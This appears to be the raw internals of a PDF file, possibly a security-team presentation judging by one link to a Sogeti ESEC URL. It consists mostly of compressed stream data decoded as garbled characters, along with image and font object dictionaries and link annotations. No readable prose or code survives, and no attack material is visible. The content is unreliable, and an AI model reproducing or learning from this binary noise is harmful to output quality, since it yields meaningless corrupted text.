rO}sGם{}x^OwgJ11P[QLt(4^78>n5(#3\:v?5c׻6͵w/zѝsY.o{o8Vƻ.ww?ʞqh"%+[î36ZOS7p.覄8:̈́8 )!-|3!nJc Lù7p.覄8:̈́8 )!-|3!nJc Lù7p.覄8:̈́8 )!-|3!nJc Lù7p.覄8:̈́8 )!-|3!nJc Lù7߈WH`ۧ ivR)S("7._k?"c0ͺ @,\krn7]ӵkXw.9MrrwD <.b쁯"/MOЂƔmՕ.ol⦍Sw\(; lm+8pk8iuқgxK`/iֻCcSq۹ ʙ SBgW];4|zf3|n=o3F ( I{z>6FCnore[J8X2><]=n_K}66/͈њt{.^iG>͎ƚJ 2̉*f=%:5{wb]}NP9[]^z!cš!@FtIgS8(n34r)( 6.6Z5$[lYG^r˱[%%GD#В%&-Ҭ8)%l2&jTuFUqZ];%5Kj꣝٩&cXY4P(xIp2)K٩;f$,X0 .bbvJӐypx*"y&& endstream endobj 388 0 obj 4633 endobj 389 0 obj << /Length 99 /Type /XObject /Subtype /Image /Width 138 /Height 127 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁ Pa 0` 0` 0` 0` 0` 0` 0` 0`s5 endstream endobj 390 0 obj 41 endobj 391 0 obj << /Length 140 /Type /XObject /Subtype /Image /Width 59 /Height 22 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xc`@lǩKYEO΁L*z\\djiiC@KI!a` lVӅM"4KQ$kEتgDWy">$(6 5Dj&A^J09)A $-+ endstream endobj 392 0 obj 1283 endobj 393 0 obj << /Length 37 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁ  Pa 0`1 endstream endobj 394 0 obj 6714 endobj 395 0 obj << /Length 144 /Type /XObject /Subtype /Image /Width 108 /Height 256 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁ ]Pa 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` 0`;0^F endstream endobj 396 0 obj 2023 endobj 397 0 obj << /Length 1233 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xSZWƹ{=ArLҨ(Ҧq^0N ƇUi`&QS3bbq(&t׺9/ӳyt+Y2BPTJ|oVT:  HNg*LW bvڐL&'I2\A\rL*U ,&:,n1PRPjԘR!X(V o0Lwd24k1Bg *dǐ)t-Vit6j!klaJ?G!,Tշv.]~[WZʯ@h'QLJk=ãS~z=v[N) vd*;9C08? ;kc !yd:ʕt6Pd)W,]f}-:f? G_%_zbm5:jI/1XJm34ڟ[I8ڈ< z7ˣEPtmsgoc誾`<0?HA*ȓ_D'vT+5X $}~MyplK_# (Ozv*;cbʖdbr=[OvļovDt~mTKy%vV`zLotIwSVWhzWwGH́Dlae5a2zmG`ezg^r\U ,ov*Wgw#ek7•wwgouLP湬2 {p)d>σ?vgʧ$:HÉb\ ?yPĊsf|sg7'hvA\Z+͙xny|vu< nŒ0Db`.N& Lj6yPhj)L@`c þ@p~a?=}ۦWwncSSDXParbl,^IټNiornӹru$%9N*Lghkt[bۤ?KH*Un&@V 0ojBtH(+oBFVMXȭRL11 H31>U~e'~,".]q.yfYhIXE<_Yfq-`W"Z[* 98A, endstream endobj 398 0 obj 5604 endobj 399 0 obj << /Length 118 /Type /XObject /Subtype /Image /Width 163 /Height 133 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream x  f@a 0` 0` 0` 0` 0` 0` 0` 0` 0` 0` _> endstream endobj 400 0 obj 2041 endobj 401 0 obj << /Length 1240 /Type /XObject /Subtype /Image /Width 117 /Height 63 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xOZW{Eq(U`*/֗UEQ)Fy[g&`TVe6aLLb⿶sA"tY}yιPJ*dTAh4@%PJdu! E8^N^ 1P8_KEht3YlO^D1^ܖQ *EL.W\.JD.n  ū(F GR!X8^ <FW`4oWlliT 13hȹ8[(Mm C٨(6oc,T3vn/y΁~{WZʯZEP&O\3wɩ MMG}^Tq|S* c h \wgs aZ _4 !TJTVkdaxi9W,]^ 9Z*1}5`u qwz.}xCh$4e|&o`U*uvȏn$hg{3(8m]V06)cTm3+8J'+W}.78hpaS?-=JtΔqF??|o^h? vj$,SΓi=hb'N脜_wZRn\kybɃ)9YN":?6"6o` p=:51)OqLy权rB{>K:@jt>H&b nY#%׻Uz|k={k {zĹO25nv\x&'˓C.# C #CHǯ{з + mp`:#FI^ N=Hܻ8U,%|ld5 -~MuW ,3EkDb#beڜ#ғq ̧,O`h~aC }fPΧIF&&بk3}ZdCu~1r{>stream xЁ  Pa 0`1 endstream endobj 404 0 obj 1394 endobj 405 0 obj << /Length 37 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁ  Pa 0`1 endstream endobj 406 0 obj 1283 endobj 407 0 obj << /Length 37 /Type /XObject /Subtype /Image /Width 89 /Height 35 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xЁ  Pa 0`1 endstream endobj 408 0 obj 2023 endobj 409 0 obj << /Length 1232 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xOZwǹ{ǽErdzYUEٺblxTVf6aLLb⿶39E/>_/d BRip@=2ܣRT: UA3d @P&ɖYLN )4:d"T&+#ˤQb"e*% Fi֨ Bb=V0m}djEFPT 12CQPZ٠ÔRlBCXJo8\(]~[WZʯ@h'QLJk=ãS~LMFXq92a iwgs !,f|ÎB*r%*]928Yb+ĉŢKЬEsPZR ]s苵K'V{SU6A*ȣߪD'rT+5X $>:486إp|wT'L=Ήhb;ޛ?~wX Rn\cb}\k\.O8j)D/ ü\SrPԀ-..[heQRs~2[tYM^8٫ü>\0w%׀yo'wW4akͻsihʐ/$p< siq{g.͆W\WoV ;°?u$'\#l@l(l9gP`j)l@`c þ@p~a _yoӫ;Ra{mѱɩ) ,0916uڌ_ln^]oݵ9]n7v9w:[uUO*Lghmt[m1nҟMH*(@7@BPèӪU ѩ\ObF-Sި. $@217P 2<sY3^6?n6î87̲\ H€Jim6U@X{QZ[(A, endstream endobj 410 0 obj 2010 endobj 411 0 obj << /Length 1226 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xOZwǹ C>GLD[v .}ՊUKx(= =<:>9ԄwY u !)ȑ(KpMwq-,a8?hrxd㈕Vcdq0FWFY{_N)bc%_wOυ"//a_[>ϽN\%1Y6[CNa{k#?m^TR*g͝pH%6cU}*+ȡlqMi`~:A2l*'rT#՛޹4$>:406؅׈h;*ƕ=H|;Jޛ?~NLc1쯳rxd~mPI%ro AzoTIw'u+/oҐݥ¤bTKؕ:̫ysUA)~g^} ȝV|r{Ev?9>ۼ[>gޝqLyΫ yA*G~σ^щn$RpX*BF8bM1]3=wJ}fE{gC+ h.֫XV ;°/u'T#l@l0l9 g`j!-l@`c >a0g6\Uߑ kMLNM]`AɉQfd{%v:z6p\sl%y!yPMMn ͦMDfs9Ut7q$+D5 MV O*|j$7j!FjU2SINR$p crr fb<t&˄pďa*M f̲\ H€JٓͦB`ڋG|pA/ endstream endobj 412 0 obj 2010 endobj 413 0 obj << /Length 1226 /Type /XObject /Subtype /Image /Width 111 /Height 57 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xOZwǹ C>GLD[v .}ՊUKx(= =<:>9ԄwY u !)ȑ(KpMwq-,a8?hrxd㈕Vcdq0FWFY{_N)bc%_wOυ"//a_[>ϽN\%1Y6[CNa{k#?m^TR*g͝pH%6cU}*+ȡlqMi`~:A2l*'rT#՛޹4$>:406؅׈h;*ƕ=H|;Jޛ?~NLc1쯳rxd~mPI%ro AzoTIw'u+/oҐݥ¤bTKؕ:̫ysUA)~g^} ȝV|r{Ev?9>ۼ[>gޝqLyΫ yA*G~σ^щn$RpX*BF8bM1]3=wJ}fE{gC+ h.֫XV ;°/u'T#l@l0l9 g`j!-l@`c >a0g6\Uߑ kMLNM]`AɉQfd{%v:z6p\sl%y!yPMMn ͦMDfs9Ut7q$+D5 MV O*|j$7j!FjU2SINR$p crr fb<t&˄pďa*M f̲\ H€JٓͦB`ڋG|pA/ endstream endobj 414 0 obj 3125 endobj 415 0 obj << /Length 1733 /Type /XObject /Subtype /Image /Width 185 /Height 155 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xSRipp^./^IbEK7,MZW4m]Ӵuu+3vM*K셬Ԋ$__ L<<t~;'*  g >/@,H`$)(iJ桨h!)f|TrE)<12Iny)+WԚD-JILLīLLG[HKXZ3PKq>)A%1ɏ4IIts5/YsZ q"#^ iB7Yr GH(/-9ȜbJX%k l[iT&PW[()JKRň{ɰz\{R,e )%r*L%U Wе+=?7:,5+"oG1jVvsgG)^7uԔ嚒baxpȵ9LNMɉJ%E%;_Pԙ +:/{,jy9U{4ۨaiAxhʐiwu=_\B, g[W78&m(dCGOx|,^Oz4W §b4ƜW<~5^֖>?|\-C18&[M,n~f <.gElhN.Gd1W޽|t6=3%M=Ã#5VxM-z*;K;*Q֔=>=kdTxpx*,]U8<[pg,vWl8^ów`xU,]U8<[pg,vWl8^ów`xU,]U8<[pg,vWl8^ów`xU,]U8<[pg,vWl8^ów`xU,]U8<[pg,vWl8^ów`xU,]U8<[pg,vWl8^ów`xU,]U8<[pxp^pL]Jfd{_/^L CəІITHhrjI>b$jr7t }z5(<8Z}آSnQ%[Tu\={VVf{(r+AI YGj\}^Wǣ]M'kU"ZϰU5wMz3C(@`nt|,'-!b1(?_r>xD)~qϕ=kZTGX1^}osCB|G\t9 ̺8itx7O@IU:s^YM/ 5xnn JAcB,8=2}rgckGOo_Hү]-u%u*18w@5f?sjC).׏-u'se.IB&&Nk)*9mj'ZQZeJ%!wo$&.1%=㠵V\lG)ŇmyٙjGEq0(FS3,hHwHha N hU4dtZM2VP+&tF$ưrRV E,+p]1X,a9:wH@w>stream xAoPEa$ H?VKj0q;|*Uaccӟ7pعo^= ztf}kG<8lx?[ֻ^?`͵[k.ݟ׉?Kށ:Ca^Ljfs_ݴ=0r>}oX4Îu7v~>2n}4ns}hƫ._om!Ǫ endstream endobj 418 0 obj 2988 endobj 419 0 obj << /Length 1243 /Type /XObject /Subtype /Image /Width 160 /Height 148 /ColorSpace /DeviceGray /BitsPerComponent 8 /Filter /FlateDecode >>stream xOZwp Ahh  OjuYfZ2kS]:ƠM}0sdSi]YvEptf'Ym1'&;*E@8y -V- VEI*XQiA>ЉjhEIo0Vf0cMUF^ Ǖ9 ffw9.t96deRB=5LL:bavr|'v>E(^= (,/-~ԭZz Mi VwBgbtWgkYFÓݛˢ6OCs׍;sfwəߺt[+N{[&=}rl}ǃ]͡36c‹&wd:[ռ姕o?)O2#}c3fgW[뫋߻^k֨+|輪N e=>{U}Xbbxvw{ޯm'4ծ+/vrOG}݇|q ȕ` N~  WC8J~H0'?\ @+!@r%?$Aq ȕ` N~  WC8J~H0'?\ @+!@r%?$Aq ȕ` N~  WC8J~H0'?\ @+!@r%?$AR|AiQf[쿁co~~UO)Q>eHO׏~~O%j\f3 7SÍ1~8g֯/Ֆ~6'Ac|c(XQU֏cُy؏%{~QBEUYM g :eB?0`~B#o R_ endstream endobj 420 0 obj 704 endobj 421 0 obj 792 endobj 422 0 obj << /Length 19835 /Length1 28812 /Filter /FlateDecode >>stream xy`T?~νwdf2Kf,Yf&mB $  hWbEQԂ-غVZMp#3Ϲ3 X$9{y=y%k5f.NŒ˗gW c}W^ݣhi_߿zyh:!%f9?%ُO˟ag9@"j!Z}b$&<^B Ə vR8kwr7)9)FHDRRIĄO!n^~)$<1s#}BlQ@݄ h αOv6 VKA~-YOC:~."?3  ‘ Sd\Я0yfϨ\M=hAeg9:}+nCj+` ݚ}"*Y9)ܐ݊;+=d'zF9ۗ} cu;yh(ʳ HO~~l4Cv;ڏhiM~MЩm! eT0 OyNrנi"GV3<1ZKt*7n~+ ܈YG^1 Jt&Koѷ[7dǏm!ҍ݄zU~(x@12?O.|]]0*vPQ iF 0ϑd7x};;;BLm[ef>;̠8G0rw_4H+}9G3{w TW2O2CclW4o)F%?!OvaFϡŴ-JoOпqw>W'pLwleJNH?_pOEǸyۂ]%>%< Y7~~-.SΪlQ-|7I t9l◣Oo7O!!"L  >Q)f)(;d*ds֏rh]=z.vyN!w|kGAI?st?FFn&w+gH)w1qEws;ȟ@/P>vOӻ1K/g#ѷzJVreW0@A^dp?W~zq[巿.!h=< u/@.Ԟ)5G9<Ž> xܻ |2O]J"-\BTCvP<ϒg(i=2|U'OAQ!/RN%9 3VQfRr({.yK?"ɇNɮւddb i[I~ڦH٤RRŵe9EJQ( B+ ~)<.|[!=vaŧ Фs;QDfvfقL&s2sG2g~gzG_>o~ zjׯo0|/8{N͚7ۜyn;( {1.oAIt* 9IFCn4hl % H;μ9O!k`HO8H̴/e磍2<ŽIH+0?$_lO+gIonrת0 (Gʞ92:[3Ot΢ ϛ;Ύ3R&66LOTWU&*hyYiI$ >r: 6k,NQ (ӑ޴ Ng%8i?NMvݷUSBRSՔkRD1kП>05]]S]\%|`A ;Ӵߚv[{ctNlYvEJ`vZ8q;Gcښvq+íK;]:tcirapiMQ iѤ-iICoxHF˂˖(/Aisx =8s--6}olu\g7nOo;wY.{ލӀN u$p٫^jyԟ/xi/ĵ1M\t8oQ0N]Kmso_Ƕ\on7rt\9Ig%х~<ɢ ^dKO /^ǯ2 %iMKFGWҴ",O {po>$FɸȈctX9]Z0xIq2z;}snjL6w Id).R Ѯ4ˮbϮ ]7) :2o7M"ˇ4͍X^R J{S/\(]71袳hPqx,KH8È 6 oY;@pawc/rv5wCFp0+m8-蟶w㒡Ҡ_ nyV'9&ÝvgbQđ)ۃsKmޢA(-S p-IP%l`","%RuB8Rq9F%ĩy#:[<4kixi8DRMM *ks8`\$~~iIA!~a?H^BX^*Pꕳ;X\\tXNG" s6͹N}6j%ZCD:Q>\UW&I2:KŸ奮VR-꩞6XJ%zn#[:=z{//;H77+7/ZHڮ6Nȝk6JuyᙵkӵkejOoKK/ CFm;QdpT`~U`i3g3~RIMn6dZ>5zzR~*X`|] q)Sx(Izi~%>fvaH@k:thwH7IYsOٳx&kŠ'K:_P3=T2!nZNE-g ⲩߴWţ'FdqVEt񆗩 ]ER ZW 0紺^g;T$zmR5Eܵ (L ON#yHΰ6xo/r.uXC8V5{wӞ\+FDFUz̴ư%(þM爒E g@jQj6!qځeH҅.fC%b%ႫXgdWКsEo7AΞuջ!pIy/0EG0E^4EE ZֺYvAlW!;jjfړ2hec<H3<)%3#LwM?y_a.t!m8nP[l|6#ab!L:Kִj-jQ4~8Ozc^- rG\֬0{]I YxNV=]7;}Wvff]tyo%e3- K:2v/xۉV[2LtF-!MPnӨlVi554Qx Uu|gʔ<=`ӭg+8E tl̿6ux6^YVVD()BJe$J}OHDT HVoY<{Fh%gg;:Zӎ{5WYb]tk[mj~/[܊G͝?ӟ~x?se̺Ͻ9>c'P\g_*џ2}SڠMI!!Oj[tQjHUa`D^ݠow*FOt:ҽJ1~bU7n~!,iL03L\CcQWC!̚Bb`& ɝD!WU\:V UcUؐMTezY:9`= r!2+KT>xY CCC*ׂ!k["Z0 Ø{|!f6Qh YVӓɀ&7r,It9==%?4!Sk7~y]̼,Pf^EAeCU& BS5H/eA`(DXȚB4^!gxLFLDn8p榳(c@a j,XM !=L8ĵ:81: J16!_MfP#=P^Asdq0y[oRkEFp\ҹ}DuAןF 3l DCI:LI0A0h7|{s\Pf.X~8S<+&o1,BF+'sP1tUvl"-#sDԞb4đ2OB0'&+h6l1m)x VӪ+iӫ%:E; "Suzixun.%9ՁMaLaԩ(5DD1DJ9DM$6ea8)U7TȴfŸeOf8r7xzށ?n?nG̱"/-_\]2DlW1Ӻb\ZrJ.. }cƆTcMAA%7<1'C;jY.,E$I-sk}EK-ɸ-Ᏻ)4KfXyG**ԎsLH(BQQ %+ Łhot GqadcķHQE#f"5W2j3!cbUg _WP#5&ZeEtUCUZ Kڲ7W&=e[]SU)\!ZEtׇh'"^B.r,X(=q?Ϝ ba]J@L{eYyc&W̞OjWn[״ &_3f&/67t5\#&MC%bN^y:tJp-O%#&$@RŔ3y Etr<>eh'aaSp-ZKW$4M 9hF.E֔I_5u5yJ!{5Grj6~`&,qAm\Ҙtr94ҟ, xG'+quyy5зJj|Dí#ZY]ZZM%?:QUq7I2S9BOF/ H%ArM72ŭxlknzAê3e'Fy{9$_M%ݴR^n \5¼%3M R;r$5ҝY0Ö@_/w7ʁ.n-U|,qYΉSh#t;H44$BU.E/P\z?[v?:6ԗ2[7Rd=WwSN|jԌH蓤H-}Ԍ-z+ڋ&DڬI?ʥ&Z ( %DQ0PK17&5a5Xcdr|48F)fϕQߝ+8/;mBL0Ě]jS8A /q~*Pk$)VH,  ʋnFAĎĄdBUlY%V9 {oDŸϽ/+DcXW~*i2XL~$_U4 ]y/ƬQAe &[G3/Nl4#Qj>a;P=*AJw.`V̱hn&Gbk٫z[0/Zt1?C"ǬY盵'>[e P9?dtoX<]ee_zU! WP9ؔY9KJ=@c5_ef0fJi4Z=Kljz_H$8>G>|V~Zyڟ B&ȽBHj# nI(vKڈXv&qc0 lr8 LҀVcCj%*QOIթRU2q0ڔ#a⅒0}~̞ک}zH遷ds27?alkG"EQWY?A4Hb-W([1I}iP(хDo@(ǮC⊃ ¡i`*ix*jfGb¼VX͘eO24貙tKK3G?PqAe40{S3UU6sZf5,=e]:}O=%ORBS6:->ṛ!rQ3ڐ(F 6S$gg0љ$ު0j(PA f7|~'bs͗\>C`{ ĬǔMyCrv@%!ǜ#2֐;%FK#15.+u2/H6 >~[/AYNd-asw2?g/t ~s>vn)w07wXaf/j8\u=H#UUY=3LOx_ !! Y_t-@<,(.VZ|_yzSr'~*hS)9%K.mmxkΣR𺂐Z#v@}PW`J]2y0 xrg2D|wa@(#?͛0 A`5UB@yAG;Rr>3rj# 4 'L `-pgɉ#Bɡ_X c 66"g ^Jd{-A" tmb!+yu2nw S "gՙEqȩu2Bx:r Jܱe7|@So ]rCΥUXiQwմ_~β-\sŮ#" PCgI]w G(g-5 R^D0BcӰ,G8s1͋i`T@+d/\~ۀ]7dVfElD 4!e,Jt:JҴLᖩ$ZyR1D*p%aJ~h[ψ, O*>/7>MQn7i#(c@0*+R,dP|oZyӳqyId6Qj$2Q7:ڂcŸ *b6SOTauY1ȱ&?wo*!zhDo5=`b=,Jr̤br|eX[1˿>:x`ت2D/! =tb@+O}ed&*NDA Jك}g.X-ٍ`y XWJ|c Xgq}gXo1Nbl tAn% Fg³۠:vV@\pE &,ǹ1*xMlq ȩM}xY= &JA?q y1Zbk򏔔G(co5\m|޳l/MT{dC؟tVJ*I[hѼ@bř jUO0^2VT $/Aκ$[E,4߃4/y: nl!S@lT#Tˌ{Lg*Ó;VI̹Nбy=5ir(qAes:z_Svr{27-&o#cT9niX ~-]"7|OC˻:?t*7g)8b;-|x/'ʣό9.-zBIO OTp+˵/,+GȦ2'a|5%$lBn>u_ͫw㌇0m(BSXl}\=h9oۍmUPB,],`kUNEV ݜ,wR~%?c7/\oFn.?ާy :ĨDhhDZҭph\sw#%J63J{-Ubg/J}{F"=Wtsrk(N:zTeu ` #KJ/~!UKNe_z3o2#0QLj ?1k݈7Sm[S[Z E# ")E}NU,8 G*#A*㿥Xbx *bE>90WD Kл,%qUDhMtI88/Ly3mͲY~G'j6$p'jͳ]Vg--3ꆰm#`t-SZ;ս`kfخjŇ,LI@@pe1Ⱦ&f-]u)K Wn)Qx rUV,-&ETxsfY4\EDUd)f3$ D0ų "Kn hd^ y}s{R{um+3ɲ! _ڸ_IIEtZV>PxΊTyG^Q'U'f-U)TU]ie]lZB~ ֢Dz2lQ&H0TLLKmz+_kBUqJK-;*>aPk=ʛZ;Z9_+mP*%[knnRBAo< `ѾҖ: ɳ2_2X?,*E K|RCB|輞پMe _4`mszG_|%$aE#Q–J>uf0V, U9at9?WVɊ&#V"%SY;3`?ÉJº]˟(69%Ng."1b{jSm,V3:fyBta2&38bT؊ ePpؒKV~jMk}ot^zu=2[* N&bh `, G}3VDSQQsh5SҲQrY\3.b2w[8GO0٠S/OEaRsR0hc+i@p(gG<^2۫W5mo=l=nՊ8N XVM1;ߣ뀨K@%9";EK'P.p B^ 9}ֲl\ԺWODUf}d9$'4xGOZ\MRO㉵7"TN蝬$SZ$ U斤ɟJ ncќM Oz_džMƄiwj?`y %ʯMŦ;L3GLL%=RJ@2J6 eRr$>3譧q68}oy>ݠ~SG;t=Mut Θ`4VXHI :   b ee1 g+>e,V~ q^)Llb5PVC|%ZV"0)qq3R oėQo<D-sw׋F7 KKFhi2W%Eu#%)g&ઋVL(Ŧ:CvHm@E!-g%gk ݵ0)r3ɵkM5%9n,a}|}U?YCSE7l &h;XU.̥L~>Aʻei5C&gIolAKT׼#s9(JOh /yD٤OS&?8Z~ٞ2'(D^~ <q!61|%%5L85lNfx9iJrV`bW’nQA@ocnI6m0>`W2}ǽ<#xzMUɦ9M1&hJ֑u{LM&6ktɘ4 Ky%!Ϙ>#5}En iC]~_7$,5a$)sʒ*HYSa{,==d2+q9S̭ō14meX]9@,ձe6`z=? MQ̟nbb3_CiΈ{=p5`mDَ8cz=Fy>]GqjQ c !7TRL(2e}wzurr;S2\Rg',B2>C#ZFtj+)IC` Z}u>L\uu*|idR64xѨY.rj-o9h&h۪%00URgw`O7-sINÀCQعu9. $|yp!_ xp jz|VNmN #x5No156Dq9m~Au~mŎG.Ң{z}C~sz\t!mϏ|?*ήsgD[g/_97>oYڸ!ķ *8h3gg]}هoDHհ⫼m |2 "n.㸀,'&7 $|i ݆zoj|G*WwvEA|X"O*CgMn35C[n=stL>)mr648?"e؆Gb @+7O}8wpcέ&WxʯH'0HH(+4<*Ey3`#?`uhQ<3V8jpջ,Nhl>8ʟĻmS l<P͉A^`CcdJ'H ;Ν~D `h0+@nlcgu2gϫ<"ȭt3,]|~K>"_S~ai-X q9|^'[yrt_/_u"=foY$R< rnhSh̙(oONx^~ قv` A*J(q}\y06m&H? :p=4 A `~m#zwA[m9Ń2jG`4oA-P ^OA'Gz495G!||bV'|L>:bT6+LKpT(B+R !>Ȏ1L@8_j\%w/sKx7y~`U|{pZ[1{ +2>Ve o;ŷNad7GoUz]8=5` ;4Ľ6ٺ{^sݪ8kVmq>>S=>&§JaRjJR| ~_W b۔=/. pM(>G㜟i%R ~4t\چ4-#îbD*%V 0ϳ3R!>Dx|V0>`i%@t,n<ͽ=rsq|ܻ&Q]n|;*:$[Fs,3 xmHH%@/l`EJ)4]ؔ[ p-:0:*WgQZX R>WŀK.Ù>X.>>GpGp8~VV>upG88dAI;oGh]nv.ߎ~;ooGhc~;oGrrh7FF߈~~#oDhQn7Fm'gQF$  H@$d HA2$  h?h?!?,?0Fha?0Frhauѵܳ@j +dAT>sJgX,<|Kgxxd<}hxd<}y(0<}Nxd<}\!GB2r{OOxzxzd<=͛ EzdLL2``1uS0uS::dLL!cQtxRe6)HG 8R2p#)G 8R#)HGJƑrG8# HGBƑp$#!HG8q$# H8C0p 0p 8c8cX1 1 2aaq 0p 0]O䮣.p757GWg3!-&pL%"OJ/apE1#.[Ehs\NS ϸ Ϻϼ ϾO؆'m7+|q5ߞӞ8NiL2sޔ蕎iܙל:ӏ_9G>?+C\/K(7(˨ߕRe'Dg5-NpnC+ ,;u_7Gk]IT$ ڲL]RD-Ճ]RPtPJSg,{'D(wzN?pUﯮ}Gj 2UoTGf֨ɻ}gL3tӷ㭗XBiy F %T|R:29uRT;mxD_(x=PhKPAR ΂0dHJ MIْZx7zV&bF,4S 1AZrʑ`x]`ZϹs endstream endobj 423 0 obj << /Length 1790 /Length1 3008 /Filter /FlateDecode >>stream xVml[~ϹGbǾCcDZ;iHHB {M*RF:*n&M4 !J ȤIH&m4$i@%Rs]Ħ]=sy{^bD䤓$Qqnyv c ,";zxY {qӇ?8#2E̟,.|7"GAtuE}NXl'ܬt֜}sy*`? [ybvyA{_1 aoN->ʙ<1$ p&cod\=D> ;VFL2QNq:-q P ȶc?,X5]'IK)d=@ hI)e*ŧRQ*Wieqvjwv%2f֎6m;)WoFw};⹨JH #WBtd "d>%V~N'tykL@0VZGquo](O.`Ktf)B 3ʿD'E!p0@#Na02pxx|tQ`'0`Y88L6)L 9i^ȏ\Uv. `q,ht̽ӟHw"Օر'Iez 3L76z߀q-?G#űiW~` c^RIBBnBD|o Lm&[A3296&sGe#4dFE@C @ChH  ,ҐEHCid9ɎB[Zjɑ$/QZ)]K#MzHJK3> *L_Pf8} nZJUS ]|m( !;CzH$ ԕ*~o ֈOH=|ƺ"$[ws׺Ж^[ z^6f{h?OG; ?j5*aWZh|qỉ)?1#_ӯ-{V{|sF917.3mA>LNr&EQ aTs'+C8QT1a{`)ԍ"^c%F뢏7 ~0lݍ Shk|D]ڸXA26nb4H:0^GqXUW, endstream endobj 424 0 obj << /Length 5428 /Length1 10824 /Filter /FlateDecode >>stream xZkpywAk}`"@@(ѤD LI_"ʊlz؊iljN2V:(QSwt,uftR8%&u,yҩݼjgZJiŞNf?!`v;w/PB&2]3%z?, Ot=>Ю̡wj>E]쮃{8DH@>$^A{f?CKP??qpTɽ0e)cDBFͅOQv!^CiqdD`|I񿛬G[KW=ۖ58tE%wO=Strgzz%ic\~t-Z0U>E;YGnbjrjXrvdl:iSǒ4r-=g7*|hML=DiMœ]2I59:21NZtMЏ1uzeCJ>1RBGqC ) iBOoR}! π.ȧasw0 .uc4`D <68apW{+ѥsŀj<2Jpop"f^kߋ{[fO4 q@nN`DOper \XTʉۜ )`p*p85} 'HQ8 .u@ǁip \NQy4m^)p8 .u N;A<螯T{iCO\DڊFG *s1cL4:|_CR9Hx`hCk#CrJGW:xWbmKgǟzid`h0¸Hqϒ4azXM56k-p)q۝bQD-e7d2ZZ9N9PQw[^zv rVqt@?:Hs^w̳]({ =#tPG"B]Dhu.c&k(@ۂ:و;[&: A6lz-FHIp# n$$ۡ%_#%_|qF,^f#C!(怋e>`IO:StNҩC:uH\K:DDc0$hӃ:Uv?{>Ȍ=8u+Óq̽ڽ3#m$?%dLkn 8uB_:/^C_RrU!<ȸ5GV*8plͱ5pl 83ل{6Ulb #bWZT:Z Qf2Y_au4GJrӦEh;MТ Z4A&hѴi-EhMТ Z4A&h-nĢ2-4Af&($˗xU4{2+Վ =RqPsаzYnOTj}cv<-*n+jxu†Izs wq@a;V!;|EMa֬/5]!\a%QDɲ+-(0C49| Yް.L( n$ez/w:}G݈vml5^koVG=~]&=Ld[mi| >cetHxt9r.-܋r/\9+$> π(=@zJQ =Ɔ-2,Ռ?.v!xDG!xDގN-諽 X[U(JzEQhaPϮ|f^\j\Ji*d$ͪ6 \-MmЛA@ڠiHr^10a\@9ˈeD2"x >#^6`}i[[ =%+2 .6UflfpYWhdYFl,@# >7S>Up .klsdr,[OE^bb&AʙaAg]a-YZ]Z[Ip[Ԥ∥KtEy1ǞD:ҎRsl'.PG\s@*{W^YТ?IP7yL,!bS Y+1 ce"Kwi`m`ϑ &MboM7$8$p\k{#q$p\+~,L($Ŏ HH XO "*`*`*`ҍX,\f#zj%jZ[ۗ쪈űuߪXUctxΈ.~7V%S\n@)9YJ#ZWf yhRdRXT'Dq:W3q"J!-******N>AAپC ېe-*3T[ 5f19De~q2Eq]Ysꍚ;o )Z+dw"tJűP,wpBO?팖1]V)Ka!?gӊx8^.U$xjl1_ ˑ7i=^Fwet[^Dd#lYbq`X^C fn?cNp 9W \Ac3oM+hp 4vu/vT-?L:rD{՛z;&vSQEijR{o\J]+q-0AܙbGL&%S9BX~͢O 0v%7زbf.206TɺX:kUb{}Ԑz#N1A=HGߍMpmw&b\.6+] )\A?/'Ze(%n>Z CƘ^,&w!&0FL!&샿o>惿}vLor"a4\> Op4\>DڼυBi,'X52GjڂZ8?T1\ v.pNi.8 c.8 c.8ҍXFHYiA椀56 /( Y*BԶyXMQ>?ڟ][5sWR0 u9ޝOTZJ;С'h*E>#t#pdZ#n%v'!an8 ^$`lF `F `F `F 60J0J0J0J0jF,F-tQXIŽl.8՞tk GPxQ!* $!* *RS$?;~C%5X#P,Y}8_k9?=?ݶhi4 N(}H%YCMs<}HDDt)a{o=CRth#6o׹Εγj<~w"2p,LpV6z!_G")?GG0> >> endobj 458 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 140.297 151.749 151.742 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 459 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 115.331 101.969 124.843 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 460 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 86.499 253.638 97.944 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 461 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 462 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation6) >> >> endobj 463 0 obj << /Type /Annot 